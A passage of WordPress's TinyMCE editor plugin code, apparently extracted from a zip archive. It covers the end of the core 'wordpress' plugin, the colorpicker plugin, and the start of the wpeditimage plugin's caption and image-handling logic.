i&&i(document).triggerHandler("tinymce-editor-setup",[p]),p.addButton("wp_adv",{tooltip:"Toolbar Toggle",cmd:"WP_Adv",onPostRender:function(){(a=this).active("1"===getUserSetting("hidetb"))}}),p.on("PostRender",function(){p.getParam("wordpress_adv_hidden",!0)&&"0"===getUserSetting("hidetb","0")?e("hide"):k.$(".block-library-classic__toolbar").addClass("has-advanced-toolbar")}),p.addCommand("WP_Adv",function(){e()}),p.on("focus",function(){window.wpActiveEditor=p.id}),p.on("BeforeSetContent",function(e){var n;e.content&&(-1!==e.content.indexOf("\x3c!--more")&&(n=u("Read more..."),e.content=e.content.replace(/<!--more(.*?)-->/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-more="more" data-wp-more-text="'+t+'" class="wp-more-tag mce-wp-more" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />'})),-1!==e.content.indexOf("\x3c!--nextpage--\x3e")&&(n=u("Page break"),e.content=e.content.replace(/<!--nextpage-->/g,'<img src="'+k.Env.transparentSrc+'" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />')),e.load&&"raw"!==e.format&&(e.content=r?o.editor.autop(e.content):e.content.replace(/-->\s+<!--/g,"--\x3e\x3c!--")),-1===e.content.indexOf("<script")&&-1===e.content.indexOf("<style")||(e.content=e.content.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-preserve="'+encodeURIComponent(e)+'" data-mce-resize="false" data-mce-placeholder="1" class="mce-object mce-object-'+t+'" width="20" height="20" alt="&lt;'+t+'&gt;" />'})))}),p.on("setcontent",function(){p.$("p").each(function(e,t){var n;t.innerHTML&&t.innerHTML.length<10&&((n=k.trim(t.innerHTML))&&"&nbsp;"!==n||(t.innerHTML=k.Env.ie&&k.Env.ie<11?"":'<br data-mce-bogus="1">'))})}),p.on("PostProcess",function(e){e.get&&(e.content=e.content.replace(/<img[^>]+>/g,function(e){var t,n,o="";return-1!==e.indexOf('data-wp-more="more"')?n="\x3c!--more"+(o=(t=e.match(/data-wp-more-text="([^"]+)"/))?t[1]:o)+"--\x3e":-1!==e.indexOf('data-wp-more="nextpage"')?n="\x3c!--nextpage--\x3e":-1!==e.indexOf("data-wp-preserve")&&(t=e.match(/ data-wp-preserve="([^"]+)"/))&&(n=decodeURIComponent(t[1])),n||e}))}),p.on("ResolveName",function(e){var t;"IMG"===e.target.nodeName&&(t=p.dom.getAttrib(e.target,"data-wp-more"))&&(e.name=t)}),p.addCommand("WP_More",function(e){var t,n="wp-more-tag",o=p.dom,i=p.selection.getNode(),a=p.getBody();n+=" mce-wp-"+(e=e||"more"),t=u("more"===e?"Read more...":"Next page"),t='<img src="'+k.Env.transparentSrc+'" alt="'+t+'" class="'+n+'" data-wp-more="'+e+'" data-mce-resize="false" data-mce-placeholder="1" />',i===a||"P"===i.nodeName&&i.parentNode===a?p.insertContent(t):(n=o.getParent(i,function(e){return!(!e.parentNode||e.parentNode!==a)},p.getBody()))&&("P"===n.nodeName?n.appendChild(o.create("p",null,t).firstChild):o.insertAfter(o.create("p",null,t),n),p.nodeChanged())}),p.addCommand("WP_Code",function(){p.formatter.toggle("code")}),p.addCommand("WP_Page",function(){p.execCommand("WP_More","nextpage")}),p.addCommand("WP_Help",function(){var e,t=k.Env.mac?u("Ctrl + Alt + letter:"):u("Shift + Alt + letter:"),n=k.Env.mac?u("\u2318 + letter:"):u("Ctrl + letter:"),o=[],i=[],a={},r={},s=0,d=0,l=p.settings.wp_shortcut_labels;function c(e,t){var n="<tr>",o=0;for(t=t||1,m(e,function(e,t){n+="<td><kbd>"+t+"</kbd></td><td>"+u(e)+"</td>",o++});o<t;)n+="<td></td><td></td>",o++;return n+"</tr>"}l&&(m(l,function(e,t){var n;-1!==e.indexOf("meta")?(s++,(n=e.replace("meta","").toLowerCase())&&(a[n]=t,s%2==0)&&(o.push(c(a,2)),a={})):-1!==e.indexOf("access")&&(d++,n=e.replace("access","").toLowerCase())&&(r[n]=t,d%2==0)&&(i.push(c(r,2)),r={})}),0<s%2&&o.push(c(a,2)),0<d%2&&i.push(c(r,2)),l="<tr><th>"+(l=[u("Letter"),u("Action"),u("Letter"),u("Action")]).join("</th><th>")+"</th></tr>",e=(e='<div class="wp-editor-help">')+"<h2>"+u("Default shortcuts,")+" "+n+'</h2><table class="wp-help-th-center fixed">'+l+o.join("")+"</table><h2>"+u("Additional shortcuts,")+" "+t+'</h2><table class="wp-help-th-center fixed">'+l+i.join("")+"</table>",e=(e=p.plugins.wptextpattern&&(!k.Env.ie||8<k.Env.ie)?(e=e+"<h2>"+u("When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.")+'</h2><table class="wp-help-th-center fixed">'+c({"*":"Bullet list","1.":"Numbered list"})+c({"-":"Bullet list","1)":"Numbered list"})+"</table>")+"<h2>"+u("The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.")+'</h2><table class="wp-help-single">'+c({">":"Blockquote"})+c({"##":"Heading 2"})+c({"###":"Heading 3"})+c({"####":"Heading 4"})+c({"#####":"Heading 5"})+c({"######":"Heading 6"})+c({"---":"Horizontal line"})+"</table>":e)+"<h2>"+u("Focus shortcuts:")+'</h2><table class="wp-help-single">'+c({"Alt + F8":"Inline toolbar (when an image, link or preview is selected)"})+c({"Alt + F9":"Editor menu (when enabled)"})+c({"Alt + F10":"Editor toolbar"})+c({"Alt + F11":"Elements path"})+"</table><p>"+u("To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.")+"</p>",(n=p.windowManager.open({title:p.settings.classic_block_editor?"Classic Block Keyboard Shortcuts":"Keyboard Shortcuts",items:{type:"container",classes:"wp-help",html:e+="</div>"},buttons:{text:"Close",onclick:"close"}})).$el)&&(n.$el.find('div[role="application"]').attr("role","document"),(t=n.$el.find(".mce-wp-help"))[0])&&(t.attr("tabindex","0"),t[0].focus(),t.on("keydown",function(e){33<=e.keyCode&&e.keyCode<=40&&e.stopPropagation()}))}),p.addCommand("WP_Medialib",function(){o&&o.media&&o.media.editor&&o.media.editor.open(p.id)}),p.addButton("wp_more",{tooltip:"Insert Read More tag",onclick:function(){p.execCommand("WP_More","more")}}),p.addButton("wp_page",{tooltip:"Page break",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.addButton("wp_help",{tooltip:"Keyboard Shortcuts",cmd:"WP_Help"}),p.addButton("wp_code",{tooltip:"Code",cmd:"WP_Code",stateSelector:"code"}),o&&o.media&&o.media.editor&&(p.addButton("wp_add_media",{tooltip:"Add Media",icon:"dashicon dashicons-admin-media",cmd:"WP_Medialib"}),p.addMenuItem("add_media",{text:"Add Media",icon:"wp-media-library",context:"insert",cmd:"WP_Medialib"})),p.addMenuItem("wp_more",{text:"Insert Read More tag",icon:"wp_more",context:"insert",onclick:function(){p.execCommand("WP_More","more")}}),p.addMenuItem("wp_page",{text:"Page break",icon:"wp_page",context:"insert",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.on("BeforeExecCommand",function(e){!k.Env.webkit||"InsertUnorderedList"!==e.command&&"InsertOrderedList"!==e.command||(t=t||p.dom.create("style",{type:"text/css"},"#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}"),p.getDoc().head.appendChild(t))}),p.on("ExecCommand",function(e){k.Env.webkit&&t&&("InsertUnorderedList"===e.command||"InsertOrderedList"===e.command)&&p.dom.remove(t)}),p.on("init",function(){var e=k.Env,t=["mceContentBody"],n=p.getDoc(),o=p.dom;e.iOS&&o.addClass(n.documentElement,"ios"),"rtl"===p.getParam("directionality")&&(t.push("rtl"),o.setAttrib(n.documentElement,"dir","rtl")),o.setAttrib(n.documentElement,"lang",p.getParam("wp_lang_attr")),e.ie?9===parseInt(e.ie,10)?t.push("ie9"):8===parseInt(e.ie,10)?t.push("ie8"):e.ie<8&&t.push("ie7"):e.webkit&&t.push("webkit"),t.push("wp-editor"),m(t,function(e){e&&o.addClass(n.body,e)}),p.on("BeforeSetContent",function(e){e.content&&(e.content=e.content.replace(/<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi,"<$1$2>").replace(/<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi,"</$1>"))}),i&&i(function(){i(document).triggerHandler("tinymce-editor-init",[p])}),window.tinyMCEPreInit&&window.tinyMCEPreInit.dragDropUpload&&o.bind(n,"dragstart dragend dragover drop",function(e){i&&i(document).trigger(new i.Event(e))}),p.getParam("wp_paste_filters",!0)&&(p.on("PastePreProcess",function(e){e.content=e.content.replace(/<br class="?Apple-interchange-newline"?>/gi,""),k.Env.webkit||(e.content=e.content.replace(/(<[^>]+) style="[^"]*"([^>]*>)/gi,"$1$2"),e.content=e.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi,"$1 style=$2"))}),p.on("PastePostProcess",function(e){p.$("p",e.node).each(function(e,t){o.isEmpty(t)&&o.remove(t)}),k.isIE&&p.$("a",e.node).find("font, u").each(function(e,t){o.remove(t,!0)})}))}),p.on("SaveContent",function(e){!p.inline&&p.isHidden()?e.content=e.element.value:(e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p>&nbsp;</p>"),e.content=r?o.editor.removep(e.content):e.content.replace(/-->\s*<!-- wp:/g,"--\x3e\n\n\x3c!-- wp:"))}),p.on("preInit",function(){p.schema.addValidElements("@[id|accesskey|class|dir|lang|style|tabindex|title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],i,b,script[src|async|defer|type|charset|crossorigin|integrity]"),k.Env.iOS&&(p.settings.height=300),m({c:"JustifyCenter",r:"JustifyRight",l:"JustifyLeft",j:"JustifyFull",q:"mceBlockQuote",u:"InsertUnorderedList",o:"InsertOrderedList",m:"WP_Medialib",t:"WP_More",d:"Strikethrough",p:"WP_Page",x:"WP_Code"},function(e,t){p.shortcuts.add("access+"+t,"",e)}),p.addShortcut("meta+s","",function(){o&&o.autosave&&o.autosave.server.triggerSave()}),p.settings.classic_block_editor||p.addShortcut("access+z","","WP_Adv"),p.on("keydown",function(e){var t=k.Env.mac?e.ctrlKey&&e.altKey&&"KeyH"===e.code:e.shiftKey&&e.altKey&&"KeyH"===e.code;return!t||(p.execCommand("WP_Help"),e.stopPropagation(),e.stopImmediatePropagation(),!1)}),1<window.getUserSetting("editor_plain_text_paste_warning")&&(p.settings.paste_plaintext_inform=!1),k.Env.mac&&k.$(p.iframeElement).attr("title",u("Rich Text Area. Press Control-Option-H for help."))}),p.on("PastePlainTextToggle",function(e){!0===e.state&&(e=parseInt(window.getUserSetting("editor_plain_text_paste_warning"),10)||0)<2&&window.setUserSetting("editor_plain_text_paste_warning",++e)}),p.on("beforerenderui",function(){p.theme.panel&&(m(["button","colorbutton","splitbutton"],function(e){(e=p.theme.panel.find(e))&&m(e,function(e){var t;e&&e.settings.tooltip&&(t=d(e.settings.tooltip),e.settings.tooltip=t,e._aria)&&e._aria.label&&(e._aria.label=t)})}),m(p.theme.panel.find("listbox"),function(e){e&&"Paragraph"===e.settings.text&&m(e.settings.values,function(e){e.text&&s.hasOwnProperty(e.text)&&(e.shortcut="("+s[e.text]+")")})}))}),p.on("preinit",function(){var n,v,t,_,y,P,o,r=k.ui.Factory,s=p.settings,e=p.getContainer(),x=document.getElementById("wpadminbar"),C=document.getElementById(p.id+"_ifr");function i(e){if(n)if(n.tempHide||"hide"===e.type||"blur"===e.type)n.hide(),n=!1;else if(("resizewindow"===e.type||"scrollwindow"===e.type||"resize"===e.type||"scroll"===e.type)&&!n.blockHide){if("resize"===e.type||"resizewindow"===e.type){if(e=(e=p.getWin()).innerHeight+e.innerWidth,!(o=o&&2e3<(new Date).getTime()-o.timestamp?null:o))return void(o={timestamp:(new Date).getTime(),size:e});if(e&&Math.abs(e-o.size)<2)return}clearTimeout(t),t=setTimeout(function(){n&&"function"==typeof n.show&&(n.scrolling=!1,n.show())},250),n.scrolling=!0,n.hide()}}e&&(_=k.$(".mce-toolbar-grp",e)[0],y=k.$(".mce-statusbar",e)[0]),"content"===p.id&&(P=document.getElementById("post-status-info")),p.shortcuts.add("alt+119","",function(){var e;n&&(e=n.find("toolbar")[0])&&e.focus(!0)}),p.on("nodechange",function(e){var t=p.selection.isCollapsed(),e={element:e.element,parents:e.parents,collapsed:t};p.fire("wptoolbar",e),v=e.selection||e.element,n&&n!==e.toolbar&&n.hide(),e.toolbar?(n=e.toolbar).visible()?n.reposition():n.show():n=!1}),p.on("focus",function(){n&&n.show()}),p.inline?(p.on("resizewindow",i),document.addEventListener("scroll",i,!0)):(p.dom.bind(p.getWin(),"resize scroll",i),p.on("resizewindow scrollwindow",i)),p.on("remove",function(){document.removeEventListener("scroll",i,!0),p.off("resizewindow scrollwindow",i),p.dom.unbind(p.getWin(),"resize scroll",i)}),p.on("blur hide",i),p.wp=p.wp||{},p.wp._createToolbar=function(e,t){var n,o,a=[];return m(e,function(i){var t,e;function n(){var e=p.selection;"bullist"===t&&e.selectorChanged("ul > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!=n;);i.active(e&&"UL"===n)}),"numlist"===t&&e.selectorChanged("ol > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!==n;);i.active(e&&"OL"===n)}),i.settings.stateSelector&&e.selectorChanged(i.settings.stateSelector,function(e){i.active(e)},!0),i.settings.disabledStateSelector&&e.selectorChanged(i.settings.disabledStateSelector,function(e){i.disabled(e)})}"|"===i?o=null:r.has(i)?(i={type:i},s.toolbar_items_size&&(i.size=s.toolbar_items_size),a.push(i),o=null):(o||(o={type:"buttongroup",items:[]},a.push(o)),p.buttons[i]&&(t=i,(i="function"==typeof(i=p.buttons[t])?i():i).type=i.type||"button",s.toolbar_items_size&&(i.size=s.toolbar_items_size),(e=i.tooltip||i.title)&&(i.tooltip=d(e)),i=r.create(i),o.items.push(i),p.initialized?n():p.on("init",n)))}),(n=r.create({type:"panel",layout:"stack",classes:"toolbar-grp inline-toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:[{type:"toolbar",layout:"flow",items:a}]})).bottom=t,n.on("show",function(){this.reposition()}),n.on("keydown",function(e){27===e.keyCode&&(this.hide(),p.focus())}),p.on("remove",function(){n.remove()}),n.reposition=function(){var e,t,n,o,i,a,r,s,d,l,c,p,m,u,g,h,f,w,b;return v&&(e=window.pageXOffset||document.documentElement.scrollLeft,t=window.pageYOffset||document.documentElement.scrollTop,n=window.innerWidth,u=window.innerHeight,o=C?C.getBoundingClientRect():{top:0,right:n,bottom:u,left:0,width:n,height:u},a=(i=this.getEl()).offsetWidth,r=i.clientHeight,d=((s=v.getBoundingClientRect()).left+s.right)/2,l=r+5,c=x?x.getBoundingClientRect().bottom:0,b=_?_.getBoundingClientRect().bottom:0,p=y?u-y.getBoundingClientRect().top:0,m=P?u-P.getBoundingClientRect().top:0,c=Math.max(0,c,b,o.top),b=Math.max(0,p,m,u-o.bottom),p=s.top+o.top-c,m=u-o.top-s.bottom-b,g="",f=h=0,(u=u-c-b)<=p||u<=m?(this.scrolling=!0,this.hide(),this.scrolling=!1):(k.Env.iOS&&"IMG"===v.nodeName&&(h=54,f=46),this.bottom?l<=m?(g=" mce-arrow-up",w=s.bottom+o.top+t-f):l<=p&&(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=p?(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=m&&u/2>s.bottom+o.top-c&&(g=" mce-arrow-up",w=s.bottom+o.top+t-f),void 0===w&&(w=t+c+5+f),b=d-a/2+o.left+e,s.left<0||s.right>o.width?b=o.left+e+(o.width-a)/2:n<=a?(g+=" mce-arrow-full",b=0):b<0&&s.left+a>n||n<b+a&&s.right-a<0?b=(n-a)/2:b<o.left+e?(g+=" mce-arrow-left",b=s.left+o.left+e):b+a>o.width+o.left+e&&(g+=" mce-arrow-right",b=s.right-a+o.left+e),k.Env.iOS&&"IMG"===v.nodeName&&(g=g.replace(/ ?mce-arrow-(up|down)/g,"")),i.className=i.className.replace(/ ?mce-arrow-[\w]+/g,"")+g,E.setStyles(i,{left:b,top:w}))),this},n.hide().renderTo(document.body),n}},!0),{_showButtons:n,_hideButtons:n,_setEmbed:n,_getEmbed:n}})}(window.tinymce);PK�\d[��a��
�
colorpicker/plugin.jsnu�[���(function () {
var colorpicker = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Color');

    var showPreview = function (win, hexColor) {
      win.find('#preview')[0].getEl().style.background = hexColor;
    };
    var setColor = function (win, value) {
      var color = global$1(value), rgb = color.toRgb();
      win.fromJSON({
        r: rgb.r,
        g: rgb.g,
        b: rgb.b,
        hex: color.toHex().substr(1)
      });
      showPreview(win, color.toHex());
    };
    var open = function (editor, callback, value) {
      var win = editor.windowManager.open({
        title: 'Color',
        items: {
          type: 'container',
          layout: 'flex',
          direction: 'row',
          align: 'stretch',
          padding: 5,
          spacing: 10,
          items: [
            {
              type: 'colorpicker',
              value: value,
              onchange: function () {
                var rgb = this.rgb();
                if (win) {
                  win.find('#r').value(rgb.r);
                  win.find('#g').value(rgb.g);
                  win.find('#b').value(rgb.b);
                  win.find('#hex').value(this.value().substr(1));
                  showPreview(win, this.value());
                }
              }
            },
            {
              type: 'form',
              padding: 0,
              labelGap: 5,
              defaults: {
                type: 'textbox',
                size: 7,
                value: '0',
                flex: 1,
                spellcheck: false,
                onchange: function () {
                  var colorPickerCtrl = win.find('colorpicker')[0];
                  var name, value;
                  name = this.name();
                  value = this.value();
                  if (name === 'hex') {
                    value = '#' + value;
                    setColor(win, value);
                    colorPickerCtrl.value(value);
                    return;
                  }
                  value = {
                    r: win.find('#r').value(),
                    g: win.find('#g').value(),
                    b: win.find('#b').value()
                  };
                  colorPickerCtrl.value(value);
                  setColor(win, value);
                }
              },
              items: [
                {
                  name: 'r',
                  label: 'R',
                  autofocus: 1
                },
                {
                  name: 'g',
                  label: 'G'
                },
                {
                  name: 'b',
                  label: 'B'
                },
                {
                  name: 'hex',
                  label: '#',
                  value: '000000'
                },
                {
                  name: 'preview',
                  type: 'container',
                  border: 1
                }
              ]
            }
          ]
        },
        onSubmit: function () {
          callback('#' + win.toJSON().hex);
        }
      });
      setColor(win, value);
    };
    var Dialog = { open: open };

    global.add('colorpicker', function (editor) {
      if (!editor.settings.color_picker_callback) {
        editor.settings.color_picker_callback = function (callback, value) {
          Dialog.open(editor, callback, value);
        };
      }
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[���EEcolorpicker/plugin.min.jsnu�[���!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}();PK�\d[lE+*d*dwpeditimage/plugin.jsnu�[���/* global tinymce */
tinymce.PluginManager.add( 'wpeditimage', function( editor ) {
	var toolbar, serializer, touchOnImage, pasteInCaption,
		each = tinymce.each,
		trim = tinymce.trim,
		iOS = tinymce.Env.iOS;

	function isPlaceholder( node ) {
		return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) );
	}

	editor.addButton( 'wp_img_remove', {
		tooltip: 'Remove',
		icon: 'dashicon dashicons-no',
		onclick: function() {
			removeImage( editor.selection.getNode() );
		}
	} );

	editor.addButton( 'wp_img_edit', {
		tooltip: 'Edit|button', // '|button' is not displayed, only used for context.
		icon: 'dashicon dashicons-edit',
		onclick: function() {
			editImage( editor.selection.getNode() );
		}
	} );

	each( {
		alignleft: 'Align left',
		aligncenter: 'Align center',
		alignright: 'Align right',
		alignnone: 'No alignment'
	}, function( tooltip, name ) {
		var direction = name.slice( 5 );

		editor.addButton( 'wp_img_' + name, {
			tooltip: tooltip,
			icon: 'dashicon dashicons-align-' + direction,
			cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ),
			onPostRender: function() {
				var self = this;

				editor.on( 'NodeChange', function( event ) {
					var node;

					// Don't bother.
					if ( event.element.nodeName !== 'IMG' ) {
						return;
					}

					node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element;

					if ( 'alignnone' === name ) {
						self.active( ! /\balign(left|center|right)\b/.test( node.className ) );
					} else {
						self.active( editor.dom.hasClass( node, name ) );
					}
				} );
			}
		} );
	} );

	editor.once( 'preinit', function() {
		if ( editor.wp && editor.wp._createToolbar ) {
			toolbar = editor.wp._createToolbar( [
				'wp_img_alignleft',
				'wp_img_aligncenter',
				'wp_img_alignright',
				'wp_img_alignnone',
				'wp_img_edit',
				'wp_img_remove'
			] );
		}
	} );

	editor.on( 'wptoolbar', function( event ) {
		if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) {
			event.toolbar = toolbar;
		}
	} );

	function isNonEditable( node ) {
		var parent = editor.$( node ).parents( '[contenteditable]' );
		return parent && parent.attr( 'contenteditable' ) === 'false';
	}

	// Safari on iOS fails to select images in contentEditoble mode on touch.
	// Select them again.
	if ( iOS ) {
		editor.on( 'init', function() {
			editor.on( 'touchstart', function( event ) {
				if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
					touchOnImage = true;
				}
			});

			editor.dom.bind( editor.getDoc(), 'touchmove', function() {
				touchOnImage = false;
			});

			editor.on( 'touchend', function( event ) {
				if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
					var node = event.target;

					touchOnImage = false;

					window.setTimeout( function() {
						editor.selection.select( node );
						editor.nodeChanged();
					}, 100 );
				} else if ( toolbar ) {
					toolbar.hide();
				}
			});
		});
	}

	function parseShortcode( content ) {
		return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) {
			var id, align, classes, caption, img, width;

			id = b.match( /id=['"]([^'"]*)['"] ?/ );
			if ( id ) {
				b = b.replace( id[0], '' );
			}

			align = b.match( /align=['"]([^'"]*)['"] ?/ );
			if ( align ) {
				b = b.replace( align[0], '' );
			}

			classes = b.match( /class=['"]([^'"]*)['"] ?/ );
			if ( classes ) {
				b = b.replace( classes[0], '' );
			}

			width = b.match( /width=['"]([0-9]*)['"] ?/ );
			if ( width ) {
				b = b.replace( width[0], '' );
			}

			c = trim( c );
			img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i );

			if ( img && img[2] ) {
				caption = trim( img[2] );
				img = trim( img[1] );
			} else {
				// Old captions shortcode style.
				caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' );
				img = c;
			}

			id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g,  '' ) : '';
			align = ( align && align[1] ) ? align[1] : 'alignnone';
			classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g,  '' ) : '';

			if ( ! width && img ) {
				width = img.match( /width=['"]([0-9]*)['"]/ );
			}

			if ( width && width[1] ) {
				width = width[1];
			}

			if ( ! width || ! caption ) {
				return c;
			}

			width = parseInt( width, 10 );
			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
				width += 10;
			}

			return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' +
				'<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>';
		});
	}

	function getShortcode( content ) {
		return content.replace( /(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) {
			var out = '';

			if ( dl.indexOf('<img ') === -1 || dl.indexOf('</p>') !== -1 ) {
				// Broken caption. The user managed to drag the image out or type in the wrapper div?
				// Remove the <dl>, <dd> and <dt> and return the remaining text.
				return dl.replace( /<d[ldt]( [^>]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' );
			}

			out = dl.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) {
				var id, classes, align, width;

				width = c.match( /width="([0-9]*)"/ );
				width = ( width && width[1] ) ? width[1] : '';

				classes = b.match( /class="([^"]*)"/ );
				classes = ( classes && classes[1] ) ? classes[1] : '';
				align = classes.match( /align[a-z]+/i ) || 'alignnone';

				if ( ! width || ! caption ) {
					if ( 'alignnone' !== align[0] ) {
						c = c.replace( /><img/, ' class="' + align[0] + '"><img' );
					}
					return c;
				}

				id = b.match( /id="([^"]*)"/ );
				id = ( id && id[1] ) ? id[1] : '';

				classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' );

				if ( classes ) {
					classes = ' class="' + classes + '"';
				}

				caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) {
					// No line breaks inside HTML tags.
					return a.replace( /[\r\n\t]+/, ' ' );
				});

				// Convert remaining line breaks to <br>.
				caption = caption.replace( /\s*\n\s*/g, '<br />' );

				return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]';
			});

			if ( out.indexOf('[caption') === -1 ) {
				// The caption html seems broken, try to find the image that may be wrapped in a link
				// and may be followed by <p> with the caption text.
				out = dl.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' );
			}

			return out;
		});
	}

	function extractImageData( imageNode ) {
		var classes, extraClasses, metadata, captionBlock, caption, link, width, height,
			captionClassName = [],
			dom = editor.dom,
			isIntRegExp = /^\d+$/;

		// Default attributes.
		metadata = {
			attachment_id: false,
			size: 'custom',
			caption: '',
			align: 'none',
			extraClasses: '',
			link: false,
			linkUrl: '',
			linkClassName: '',
			linkTargetBlank: false,
			linkRel: '',
			title: ''
		};

		metadata.url = dom.getAttrib( imageNode, 'src' );
		metadata.alt = dom.getAttrib( imageNode, 'alt' );
		metadata.title = dom.getAttrib( imageNode, 'title' );

		width = dom.getAttrib( imageNode, 'width' );
		height = dom.getAttrib( imageNode, 'height' );

		if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) {
			width = imageNode.naturalWidth || imageNode.width;
		}

		if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) {
			height = imageNode.naturalHeight || imageNode.height;
		}

		metadata.customWidth = metadata.width = width;
		metadata.customHeight = metadata.height = height;

		classes = tinymce.explode( imageNode.className, ' ' );
		extraClasses = [];

		tinymce.each( classes, function( name ) {

			if ( /^wp-image/.test( name ) ) {
				metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 );
			} else if ( /^align/.test( name ) ) {
				metadata.align = name.replace( 'align', '' );
			} else if ( /^size/.test( name ) ) {
				metadata.size = name.replace( 'size-', '' );
			} else {
				extraClasses.push( name );
			}

		} );

		metadata.extraClasses = extraClasses.join( ' ' );

		// Extract caption.
		captionBlock = dom.getParents( imageNode, '.wp-caption' );

		if ( captionBlock.length ) {
			captionBlock = captionBlock[0];

			classes = captionBlock.className.split( ' ' );
			tinymce.each( classes, function( name ) {
				if ( /^align/.test( name ) ) {
					metadata.align = name.replace( 'align', '' );
				} else if ( name && name !== 'wp-caption' ) {
					captionClassName.push( name );
				}
			} );

			metadata.captionClassName = captionClassName.join( ' ' );

			caption = dom.select( 'dd.wp-caption-dd', captionBlock );
			if ( caption.length ) {
				caption = caption[0];

				metadata.caption = editor.serializer.serialize( caption )
					.replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' );
			}
		}

		// Extract linkTo.
		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) {
			link = imageNode.parentNode;
			metadata.linkUrl = dom.getAttrib( link, 'href' );
			metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false;
			metadata.linkRel = dom.getAttrib( link, 'rel' );
			metadata.linkClassName = link.className;
		}

